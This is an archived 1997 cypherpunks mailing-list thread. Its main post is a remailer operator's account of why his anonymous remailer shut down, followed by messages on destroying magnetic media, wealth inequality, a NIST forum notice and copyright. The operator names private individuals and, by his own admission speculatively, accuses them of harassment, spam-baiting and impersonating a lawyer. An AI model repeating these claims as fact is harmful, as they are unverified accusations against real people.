> : filtering in an attempt to placate the attacker.  Giving in to the demands
> 
> When I first put the filters in, I was entirely unaware of exactly what
> the hell was going on.  It seemed that someone had a bone to pick with
> databasix, and was using the remailer to get databasix harassed by
> third parties.  So, Burnore's complaint seemed reasonable at the time, and
> I tried to come up with a way to block spam-bait abuse, without blocking
> anything else (like a reply to burnore in Usenet).
> 
> See, if someone was doing to me what they appeared to be doing to Burnore, 
> I would be pissed.  I figured placating him would be the best thing to
> do.  In hindsight, I was wrong, but at the time, it seemed like the correct
> decision.  (Also at the same time, the SPA threatened Wired with a 
> lawsuit because of The MailMasher, so things were a little tense between
> me and the legal department already, I didn't need to make them any worse.)
> 
> The final content-based-filter (there was an interim one) looked for the
>  following things:
> 
> 1. Any address at databasix (Yes, at the request of Burnore)
> 2. Any address from my destination block list
> 3. More than 5 addresses in a row, one line each, without other content
>    in-between.
> 4. Patterns of particular Usenet groups.
> 5. Particular subject lines.
> 
> If any THREE of these items were spotted, the message got thrown into a
> reject bin.  I periodically examined the reject bin, and can personally
> attest that it didn't block ANYTHING that it wasn't intended to.  (The
> test posts reeked of spam-bait to me, and I believe were correctly 
> blocked)
> 
> FWIW, the filters were removed about a week ago.
> 
> Because the filters were looking for a specific form of ABUSE, and not
> just doing basic pattern matches, I don't consider them to be "content
> filters".  I would think that just about anyone would agree that 
> posting lists of email addresses to mlm newsgroups would qualify 
> as abuse, and _should_ be blocked.   Blocking of this nature does NOT
> restrict free speech (or at least that is not the intentions of it), and
> it would keep the remailer out of lawsuit territory.
> 
> See, the big problem with lawsuits is not the fact that _I_ don't want
> to be sued.  The problem is that anyone with half a brain can determine
> that Wired is somehow related to any remailer that I am running on their
> bandwidth.  Wired has deeper pockets than Mr. Burchell, so they are a
> much better group to sue... and they are a lot more willing to give
> in to a threat than I am.
> 
> : What I *MIGHT* have done was to respond as follows:
> : 
> :    Your legal demands are unacceptable.  I'd rather close the remailer than
> :    compromise its integrity to suit your whims.  But understand this
-- unless
> :    you withdraw your demands, I will not only close the remailer but
also make
> :    damn sure all of its users know exactly who forced me to take this
action!
> 
> I did respond in a fashion much like this, about a week before the attacks
> started coming.  Mr. Burnore requested a copy of my (non-existant) logs.
> I told him to get me something in writing, signed by his lawyer that 
> stipulated that the logs were confidential, and not to be revealed to 
> anyone outside of the lawyer's office.
> 
> I received a letter from Belinda Bryan.  She is not registered with the
> State Bar of California, and is thus, not a California lawyer.  I then
> ignored the request, and forwarded the correspondence to the State 
> Attorney General's office (as impersonating a lawyer in CA is defined
> as fraud with extenuating circumstances).  They have been working with
> me and the San Francisco DA's office.  Look out DataBasix... I'm not done
> with you yet.
> 
> : The second mistake I perceive is not fully disclosing the circumstances that
> : brought down Huge Cajones, and *NAMING NAMES*.  That way, even if the
remailer
> : shuts down, other remailer operators will learn about the tactics employed
> : against it, know *WHO* made the demands, etc.  IOW, when you get an innocent
> : sounding, polite complaint from xxxx@yyy.com alleging "abuse", here's the
> : scenario that's likely to follow ...  (It's not too late to make that
> : disclosure, Jeff.)
> 
> In fact, now is the time to.  Making a disclosure like this while I 
> was still running the remailer would have probably been a bad move.
> Now that the remailer is closed, I'll name the names that I've got.
> 
> Beware... all of this is speculation, because huge.cajones was an 
> anonymous service, not even I can say with any authority that any
> of the people named below had anything to do with the shutdown of
> huge.cajones (or The MailMasher).  However, there are a number of
> coincidences of timing.
> 
> I still don't know what the hell is going on with DataBasix, Wells Fargo
> and Gary Burnore, but I suspect that someone used huge.cajones to say
> something extremely unflattering about Burnore (from what I can tell,
> he had it coming).  Burnore then decided that he would make things 
> difficult for me.  First, he wanted the user who had posted something
> "inflammatory" about him revealed.  When I told him that I couldn't 
> do that, he carried on about mail logs and identifying the host that
> a message came from (the usual).  I didn't explain to him that my 
> machine keeps logs, but not anything involving a *@cajones.com 
> address.  He then requested the logs, which I denied (and told him
> to get his lawyer to send a request...)
> 
> I'll admit, after my second or third contact with Mr. Burnore, I
> no longer was particularly civil with the guy.  He's a kook, and
> really didn't deserve my courtesy.
> 
> Between the time he first contacted me, and the time I received the
> letter from Belinda Bryan, is when the baiting of databasix addresses
> began (slowly, with just a few posts).  After a while, I received
> requests from the other members of DataBasix (including William McLatchie
> (sp) (aka wotan) who actually seems to be a remailer supporter (?)).
> 
> It was at this point that I realized something was completely amiss.
> I asked McLatchie to please tell me the story of DataBasix, and he
> said that he was going to, but never did.  Anyone who can tell me 
> the story is invited to do so.
> 
> As a side note (and just because I am naming names).  Peter Hartly 
> (hartley@hartley.on.ca) yesterday spam-baited me.  Fortunately, 
> I've got good filters in place.  
> 
> As another side note, I've seen nothing to make me believe that Belinda
> Bryan is even a real person.  Anyone?
> 
> : > Given the importance of what Jeff was doing, I hope that he
> : > did all that he could, before declaring defeat. If that is the case,
> : > I commend him for a job well done. If not, why?
> 
> I can't claim to have done _everything_ that I could have done, but I 
> did certainly make an effort.  I'm not willing to go to court to defend
> a practice like spam-baiting (and given the current public-opinion situation
> and impending anti-UCE legislation, this would be a terrible test-case).
> 
> I am not new to threats of lawsuit, even ones that come from legitimate
> lawyers.  About 8 months previous, I was threatened repeatedly by the 
> legal wing of the "Church" of Scientology.  I answered with a letter
> from my lawyer that explained the policies of the remailer, and 
> threatened a harrassment lawsuit if the "Church" contacted me again asking
> for information (that they now knew I didn't have) about a remailer user.
> They complied, and went away (and haven't been too difficult with 
> other remailer operators lately).  
> 
> : Agreed.  Otherwise, these "asshole(s)" are simply going to do it all over 
> : again against another remailer, eventually taking them all down one at
a time.  
> Except that right now, new remailers are springing up.  If we could get
> three more online for every one shut down, it wouldn't much matter, would
> it?  I may very well end up running a mailer again in the future, but if
> I do, it will probably be either a throwaway exit-man or a truely anonymous
> middleman (i.e. nobody will actually know who is running it).  It also
> will probably be hosted outside of the United States (Floating in 
> international waters with a sat feed would be nice).
> 
> : It's time for them to stand up and say "Next time you come for one of us
> : he's 
> : not going quietly as the others have.  You'll have to face ALL of us
at once, 
> : instead." 
> 
> Aah, you imagine much more solidarity among remailer operators than actually
> exists.  It doesn't work that way.  It would be nice if it did, but many of
> us are running remailers on borrowed bandwidth (or have other "situations"
> to be concerned about).  Being the squeaky wheel is not always a good idea
> for many of the operators (most of whom try to keep a low profile).  
> 
> The reality is, for all the good they do, remailers are tools that can 
> very easily be abused.  And, as the internet gets more and more commonplace,
> the average Joe and Joesphine, who don't have the strict Cyber-Libertarian
> viewpoints that are shared by most of us old-timers, will start to wonder
> just why anyone would want to run a service that allows anyone to speak their
> mind without fear of reprisal.  When you get people with more extreme
> viewpoints (the ones who have a really legitimate need for anonymity) posting
> all kinds of stuff to all kinds of places, it will get the attention of
> Middle-America, which will then bring it to the attention of legislators.
> Any time a legislator can say "This is a blow to Child Pornographers and 
> others who hide behind anonymity to commit crimes without fear of reprisal"
> you can guarantee that the bill will pass.
> 
> When that happens, we're in trouble.  America is scared of computers, and
> remailers are thought to be havens for the big 3 (Terrorists, Organized
> Crime and Child Pornographers).  Now that the spammers are involved 
> (spammers possibly being hated more than the big 3), most users are 
> exposed to anonymous remailers in negative ways (Imagine what you would
> think if the first time you heard about the existance of remailers, it
> was because someone had spam-baited you, and then told you about it).
> 
> The right to anonymity in the US will be legislated away within 18 months, 
> partially because of spam.  I do hope there's a _good_ test case waiting,
> and someone willing to fight it to the end, but I have my doubts.  Ultimately
> the remailer network will be forced to move offshore, the way Crypto 
> development currently has.
> 
> Don't like the News?  Go out and make some of your own.
> 
> -Jeff
> 
> |o|                                                   |o|
> |o| Jeff Burchell                     toxic@wired.com |o|
> |o|- - - - - - - - - - - - - - - - - - - - - - - - - -|o|
> |o|     I am not speaking for anyone but myself.      |o|
> |o|                                                   |o|

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 2 Jul 1997 13:12:56 +0800
To: cypherpunks@toad.com
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
>Could someone please point me to a FAQ or somesuch about degaussing
>magnetic media? Thank you!

Mini-FAQ:
1. How do I degauss magnetic media so that the feds can no longer read my
data?

You don't. That's why the feds themselves don't degauss their magnetic
media for declassification purposes. They remove the oxide layer. In case
of floppies the preferred method is incineration, in case of hard drives,
the usual technique is sandblasting.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 2 Jul 1997 13:23:11 +0800
To: mlamarra@mitre.org (Michael Lamarra)
Subject: Re: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19970701215737.006ac26c@best.com>
MIME-Version: 1.0
Content-Type: text/plain



yikes - this response makes me as nervous as any misguided government GAK
program.

Yes, why *should* the poorest and most starved people in the world have any
more than they do? It's a free world, ain't it?  They're free to avail
themselves of the latest in technology, health care, and education to
improve their lot aren't they?  

No, they're victims of transnational corporate wealth-displacement programs
funded by the IMF and World Bank, organizations which fatten tinpot
dicators' personal fortunes while forcing an export economy onto the weak,
stripping them of the power of self-sufficiency in order to feed corporate
Masters with no place and no conscience.

These people the ones who pick your fruit and vegetables; they're the ones
who make your designer sneakers and the silk ties and nice button-down
shirts you wear to your cubicle every day.  They're the ones who have no
voice, no power and no chance. They starve in order to feed and clothe and
entertain you, that's why. 

There are equitable balances of wealth distribution, and there are
unconscionable and indefensible ones.  I try to play a part is maintaining
a balance saner than that of a world dominated by people with your
response; I deliver boxes and bags of things I no longer need to Goodwill
and others; I wrote off as much as I could in charity donations last year;
my wife sponsors a child thru the Christian Childrens Fund; I try to
educate myself -- to learn why the peasants revolted in Chiapas, how GATT
and SNAFU -- oops I mean NAFTA -- really work and whom they really benefit.
 I write when I can to try to pass along some of what I learn.  

Do you continue giving when someone else has less than you do?  Absolutely.
I hope that you will eventually grow up and achieve some wisdom and
compassion.


At 12:06 PM 7/1/97 -0400, Michael Lamarra wrote:
>Hi,
>
>I'm curious - why should the 20% percent of the world's population own more
>wealth than they do now?  How are you identifying them and how much are you
>giving them?  After all, you probably own more than a vast number of
people on
>earth also.  I know that I do and I'm barely a thousandaire. Do I stop giving
>when someone has the same amount as me or do I continue because there is
>someone else who still has less? 
>
>Thanks,
>
>Mike
>
>I suppose that's why US displays the greatest income disparity between rich
>and poor of
>any of the industrialized nations?   Why some 10 or 20 billionaires
>collectively own more
>wealth than some 20% of the world's population? Or were you being sarcastic?
>
>At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote:
>>Ah, but what is a market except voluntary transactions between people?
>>What is good for the market is good for the people.
>>
>>-Declan
>>
>>On Mon, 30 Jun 1997 geeman@best.com wrote:
>>
>>> My biggest problem is when the pundits (and by extension, those that punt
>>> to them)
>>> frame this entire debate in terms of the Market.  To do so is to argue
that
>>> only solutions
>>> that are good for The Market are good solutions; that when a particular
>>> policy is market-agnostic
>>> or market-negative, even though it may be good policy for People (yes,
>>> remember them ???) it is irrelevant or
>>> bad.  This debate is NOT about the Worldwide Encryption Market!
>>> 
>>
>>
>>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 2 Jul 1997 13:23:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970701220247.03e5d100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
>
>Could someone please point me to a FAQ or somesuch about degaussing
>magnetic media? Thank you!

Electromagnetic pulse.  You want something as strong as possible.  About 10
megatons should generate a big enough pulse.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 2 Jul 1997 13:46:31 +0800
To: Duncan Frissell <declan@well.com>
Subject: Re: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19970701221029.0068d7c0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



The point was that Marc Andreessen insists on framing the crypto debate in
terms of 
"The Market" -- the next statement was that that's OK because What's Good
for the Market is Good for the People.  My reply to that was "bullshit and
here's why"; don't take my word for the stats, go look them up, and I won't
go into the absolute correctness of your statement about "wealth" vs.
"securities" 

Bottom line is that there is tremendous evidence that what's good for the
Market is NOT at ALL good for 'the people' -- and that framing the crypto
debate in such terms makes the issues of civil liberties and the
empowerment of People irrelevant.  Now this may be a good political ploy
when playing the back rooms of Washington, but I'd wish for something better 
from someone from Netscape, one of the Big Voices in the debate.

At 01:37 PM 7/1/97 -0400, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 08:49 AM 7/1/97 -0700, geeman@best.com wrote:
>>I suppose that's why US displays the greatest income disparity between rich
>>and poor of
>>any of the industrialized nations?   
>
>We don't know if this is true because no statistical series captures all 
>"wealth."  The underground economy here is supposedly 15% but higher in much 
>of Europe.  Also no country includes public benefits in income calculations 
>although they are income and the higher US medical costs substantially 
>increase the total income of those receiving Medicaid.  Those comparisons
are 
>suspect because too much income is excluded from the calcs.
>
>>Why some 10 or 20 billionaires
>>collectively own more
>>wealth than some 20% of the world's population? Or were you being sarcastic?
>
>They don't.  They own more "securities."  If you total the discounted 
>(present) value of the future income stream of 20% of the earth's population 
>(adjusting for the probable massive income increases of the next 20 years of 
>extreme boom times), and you count the value of personal property it comes
to 
>more than the current wealth of the top billionaires who after all are 
>apparently worth less than a $trillion or two collectively.
>
>But I don't know what this all has to do with encryption policy, however.
>
>DCF 
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQCVAwUBM7lAc4VO4r4sgSPhAQEkSQP/Rs+XzPrzUQptgBWK+LLb+vmAMPcaBHWE
>Ww1PsYGqwo4W0Mlse0ynCGZfZdiIx+tlDbWbqYtvisNqeIYK8Qcn8K7b63ytZ1aN
>OPM/DshwQ0bpgQMoTXpMwGnZmB9e4/LGriZXMSmk+fkZvO2flmVuUMj+Vao+Bs+N
>xLZKAHYvXWw=
>=F09z
>-----END PGP SIGNATURE-----
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Megan McCormack <meganm@asis.com>
Date: Wed, 2 Jul 1997 13:54:11 +0800
To: cypherpunks@toad.com
Subject: non-US encryption
Message-ID: <3.0.32.19970701221735.00994bc0@asis.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm looking for a maillist for discussion of 
non-US encryption software. Their was one
at braae.ru.ac.za which now apears to be defunct.


Thanks,
Megan
    
   **************  Chop wood, carry water, check e-mail  ************
    
                             Megan McCormack 
    			   http://www.asis.com/~meganm 
			       
                             
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 2 Jul 1997 05:38:29 +0800
To: cypherpunks@toad.com
Subject: Re: NRA and National Online Records Check bullshit
Message-ID: <199707012111.XAA01109@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

> However, the issue is very complex.  "The system" has a number of
> discretionary points -- variable sentencing regiems, time off for good
> behaviour, probation, parole -- all involve different levels of
> constraints on rights, all constitutional.

  No doubt the laws resulting in people going to jail for the
rest of their life for a "third felony" (i.e. - a $10.00 bad
check in Texas) are "constitutional."
  After the (black, go figure...) person was given a life
sentence for a $10.00 bad check, someone quoted the standard
justification, "It's not a _perfect_ system, but its the
best one we've got." (Hint: It was not the defendant who 
said this.)
  The rapist/murderers that we hear about being released
because of a lack of prison space wave cheery good-byes to
their marihuana smoking and bad-check writing pals as they
drive away from the prison.

  And the way this relates to encryption is...
  ...the rapist/murderers of the future might well be waving
goodby to the cryptographers, as well, since they rarely use
encryption, and thus might well have a shorter sentence than
their crypto-devil cellmate.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 2 Jul 1997 14:56:11 +0800
To: Alan Olsen <cypherpunks@Algebra.COM
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <v03007807afdfa4164e9d@[207.94.249.161]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
>At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
>>
>>Could someone please point me to a FAQ or somesuch about degaussing
>>magnetic media? Thank you!
>
>Electromagnetic pulse.  You want something as strong as possible.  About 10
>megatons should generate a big enough pulse.

It works better if you also expose it to the heat and blast.  :-)

In all seriousness, complete physical destruction of the media is the only
sure technique.  Lucky Green's sandblasting sounds like it should work
well.  Melting it into slag should also work.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 2 Jul 1997 06:49:44 +0800
To: cypherpunks@toad.com
Subject: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <199707012155.XAA06734@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
 
> I don`t believe in copyright in general, but I would be perfectly happy
> to pay a US cpunk to send me a copy of this CD-ROM, *BUT*, physically
> mailing a copy like this is more risky for the US Cpunk. I don`t believe
> in ripping people off, and rarely copy copyrighted material, but I don`t
> hold with copyright laws and see nothing wrong with this being posted.

 Copyright is for the purpose of people with ideas being financially
rewarded in the same manner as those who manifest those ideas in
the physical sphere (via print, recordings, machines, etc).
 As a recording musician I expected to get money for my recordings,
just as everyone else in the chain of business did in making my
music available to the end-user. (And just as a grocer who makes
food available to his customers expects you to leave something in
the till on your way out of the store.)
 I have never had any problem with someone recording a copy of my
music from a purchased copy if they are a music lover with a thin
pocket, or can't readily purchase it. If someone with a $2000.00
stereo wants to enjoy the fruits of my labor without contributing
any money to my health and welfare, then I consider them to be just
another thief.

  The bottom line with the Crypto CD-ROM is that we should each
make an effort to support it at the level we are capable of,
in the interest of promoting strong cryto.
  Buy it, if at all possible. If you download a copy on the net
and can't afford $99.00, then send them $10.00, or $20.00, etc.
If you can't afford to send them a nickle, then do what you can
to promote their product. Provide pointers to their business,
tell people about their products, etc.
  People who will give ten or twenty dollars to a charity when
someone shows up at their door might use "shareware" for years
without taking the time and trouble to send the creator some
cash. Bottom line--take the time to recompense the vendor/creator
at the level you are able. 

  Technology may well enable us to take the product and give
nothing in return to those who made it available, but doing so
will not further our own beliefs and aims to any extent.
  If you just want to rip something off, go to the Whithouse,
rip off some silverware, and send it to Dr. Dobbs.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 2 Jul 1997 13:23:57 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970630111759.13667@bywater.songbird.com>
Message-ID: <199707020512.AAA01518@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> In "the real world" (tm by Kent Crispin), Paul, there isn`t anything

	If you have a trademark on it, that means you own it right? 

	Then can I sue you for deceptive marketing practices?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 2 Jul 1997 13:46:53 +0800
To: cypherpunks@toad.com
Subject: Re: Internet - Good & Bad [CNN]
In-Reply-To: <19970702034658.19497.qmail@squirrel.owl.de>
Message-ID: <199707020518.AAA09759@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970702034658.19497.qmail@squirrel.owl.de>, on 07/02/97 
   at 03:46 AM, Secret Squirrel <nobody@secret.squirrel.owl.de> said:


>Jim Choate wrote:

>> >    Time NEW YORK (CNNfn) - New technologies for video transmission over
>> >    the Internet, such as digital video discs (DVDs), represent remarkable

>The article lost credibility in the first sentence. Is that a record?

First sentence? First word did it for me :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7nlBo9Co1n+aLhhAQFsfgP7BxJypkF9KupcWACTLLUT8MCzfKckS1aL
h96Wa2STCSzWqvXC6cyCdugTdzFecOUowDt3UfjMgOzPOzBdGz8jCQuiNkxAt/Gt
t6ionQfFBYD4ObDi8A+UQI/71Oq9k1VsbJhMLZr2FQfy90a1+3P20yqsNWQT7qgs
RQQl6z8GJMA=
=ZkZ6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 2 Jul 1997 12:41:41 +0800
To: cypherpunks@Algebra.COM
Subject: Public Forum on Certificate Authorities and Digital Signatures
In-Reply-To: <v0300780bafdcc91fd725@[206.11.192.100]>
Message-ID: <3.0.3.32.19970702002232.03449c2c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



I did not see this on the list earlier, so I thought I'd post a copy.  This message says that the Executive Branch wants to know what we think about CA's, escrow, strong crypto, and other issues.

Anyone want to offer me a plane ticket to NIST in Gaithersburg, MD?

- ---------- Forwarded message ----------
Date: Wed, 25 Jun 1997 10:36:44 -0400 (EDT)
From: Elizabeth Lennon <lennon@email.nist.gov>
To: Multiple recipients of list <itl-bulletin@nist.gov>
Subject: Announcement of Public Forum and Request for Comments

DEPARTMENT OF COMMERCE

Public Forum on Certificate Authorities and Digital Signatures:
Enhancing Global Electronic Commerce

AGENCY: Technology Administration, Commerce.

ACTION: Notice of public forum and request for public comments.

- -----------------------------------------------------------------------

SUMMARY: The Department of Commerce requests public comments on various
aspects of the public key infrastructure related to certificate
authorities and digital signatures. This request for public comment
will enable the Department, and other Executive Branch agencies, to
benefit from the expertise and views of the private sector, states,
localities, non-profits, industry associations and other national and
international entities. Specific questions that the Department seeks
public comments on are listed in ``Supplementary Information''. A
``Public Forum on Certificate Authorities and Digital Signatures:
Enhancing Global Electronic Commerce'' is being sponsored by the
Department on this topic. The comments received by the Department will
aid in effectively supporting Administration initiatives on electronic
commerce issues.

DATES: The ``Public Forum on Certificate Authorities and Digital
Signatures: Enhancing Global Electronic Commerce'' will be held on July
24, 1997, from 8:00 a.m. to 6:00 p.m.

Advanced registration for the ``Public Forum'' is due by July 16,
1997.

Written comments are due by July 16, 1997.

Requests to participate as a panelist in the ``Public Forum'' are
due by July 2, 1997.

ADDRESSES: The ``Public Forum on Certificate Authorities and Digital
Signatures: Enhancing Global Electronic Commerce'' will take place at
the Green Auditorium, Administration Building, National Institute of
Standards and Technology, Gaithersburg, Maryland.

Written comments should be sent to: Director, Information
Technology Laboratory, ATTN: ``Public Forum on Certificate Authorities
and Digital Signatures'', Technology Building, Room A231, National
Institute of Standards and Technology, Gaithersburg, MD 20899.

Electronic comments may be sent to ECFORUM@NIST.GOV. Electronic
comments should be in ASCII, MS word or WordPerfect formats. No
comments will be accepted by voice phone or by fax.

PUBLIC INFORMATION: The Department, based on comments received and
expressions of interest, will organize the Public Forum as a series of
panels, with short presentations and then a period for questions from
the audience. Not all issues included in this notice may be covered in
the public forum, and the Department may organize the program along
lines different than the questions are presented. Members of the public
who are interested in serving on a panel are asked to contact the
individual listed in FOR FURTHER INFORMATION CONTACT below. Due to time
and physical constraints, and in order to develop an effective program,
not all requests can be honored.

FOR FURTHER INFORMATION CONTACT: Mr. Edward Roback, Information
Technology Laboratory, National Institute of Standards and Technology,
Building 820, Room 426, Gaithersburg, MD 20899-0001. (301) 975-3696.

For planning purposes, advanced registration is requested by July
16, 1997. To register, please fax your name, postal address, telephone
and e-mail address to: 301-948-1233, ATTN: ``July 24 Public Forum''.
Space permitting, registration will also be available at the door. The
July 24th meeting is open to the public. There is no registration fee
for the Public Forum.

SUPPLEMENTARY INFORMATION: The ``Public Forum'' on Certificate
Authorities and Digital Signatures:

[[Page 31412]]

Enhancing Global Electronic Commerce'' will be held on July 24, 1997 at
the Green Auditorium, Administration Building, National Institute of
Standards and Technology, Gaithersburg, MD.

Copies of written submissions received by July 16, 1997, will be
made available at the Public Forum.

Issues for Public Comment and Themes of the Public Forum

The emergence of a public key infrastructure, and the demands of
global electronic commerce, have generated significant private sector
and governmental efforts to develop a reliable system of certificate
authorities that enable use of trustworthy digital signatures.

The Department of Commerce, and other Executive Branch agencies,
seek public comment on and are planning a Public Forum that encompasses
the following issues. By seeking comment from the varied parties and
interests, reflecting the many initiatives that are underway, the
Executive Branch will be better able to assess emerging initiatives on
digital signatures and certificate authorities; ensure that the federal
government's PKI activities take advantage of the latest developments
and directions in the private sector; and aid federal government
officials and industry representatives participating in domestic and
international fora on these issues.

    1. State government initiatives through ``digital signature laws.''
Some two dozen states have passed some form of ``digital signature
laws'' in the last two years. The Department encourages comments from
relevant state government agencies on the experiences and issues that
have arisen during the process of implementing these laws, including
the status of any registration of certificate authorities. Comments
that reflect the systematic aspects of digital signature laws are
especially encouraged. Comments are also encouraged by users and
stakeholders in the systems that result from passage of these ``digital
signature laws.''

    2. The evolving legal framework of certificate authorities and
digital signatures. A number of private sector efforts are underway to
examine and recommend changes to the legal and regulatory framework
that could contribute to a reliable system of certificate authorities.
The Department notes the efforts, among others, of the American Bar
Association (``Digital Signature Guidelines'') and the National
Commission on Uniform State Laws. The Department encourages comments
from all private sector efforts which are undertaking efforts in this
area.

    3. The technology and business challenges of certificate
authorities and digital signatures. In response to user demands, an
industry of certificate authorities is emerging. The Department seeks
comments from those entities that are offering services and
technologies that relate to issuing certificates and digital
signatures.

    4. User requirements and expectations. A multitude of sectors can
be expected to utilize a reliable system of certificate authorities and
digital signatures. The Department seeks comments from any and all
sectors that are developing performance requirements and user
expectations in this area. Comments are encouraged from non-profits and
governmental entities, as well as for-profit enterprises.

    5. An international perspective. A number of countries and
international fora are examining the issues of a reliable system of
certificate authorities and use of digital signatures. The Department
notes the activities of UNCITRAL, the OECD, as well as recent
developments in Germany, Japan, the European Union, etc. The Department
invites comments from international representatives on the issues
outlined in this notice and participation in the Public Forum.

Comments received in response to this notice will be made part of
the public record and will be available for inspection and copying in
the Central Reference and Records Inspection Facility, Room 6020,
Herbert C. Hoover Building, 14th Street between Pennsylvania and
Constitution Avenues, NW, Washington, DC 20230. The Department intends
to publish the proceedings of the Public Forum, and all public
comments, as soon as possible after the July 24th meeting.

Dated: June 3, 1997.

Mary L. Good,
Under Secretary of Commerce for Technology.
[FR Doc. 97-14991 Filed 6-6-97; 8:45 am]
BILLING CODE 3510-CN-M





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 2 Jul 1997 12:14:25 +0800
To: cypherpunks@toad.com
Subject: Degaussing
Message-ID: <19970702021749.17094.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Could someone please point me to a FAQ or somesuch about degaussing
magnetic media? Thank you!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 2 Jul 1997 09:11:33 +0800
To: cypherpunks@toad.com
Subject: C'punk elitists [was mailing list}
In-Reply-To: <199707011318.PAA01313@basement.replay.com>
Message-ID: <199707020023.CAA29587@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Such egotistical assholes!

One of the events which would most benefit security, privacy, and freedom on 
the Internet would be for the mass of AOL users to begin using it.

Don't I get sick of such elitist know-it-alls!

TruthMonger 26


At 03:18 PM 7/1/97 +0200, Anonymous wrote:
|When did it become acceptable to be so stupid???  How many systems-experts 
do you know who use
|AOL frequently.
|
|OOh...I forgot about that new section, PGP For Dummies...(chuckle)
|
|C
|
|
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7mdlIGXJpqxt6QJEQInKgCfV/VkoapnUDei8SIY/HSEegnMT0YAoOfy
DbCtdT0pwC8C7b8aofaW+X84
=vWQL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
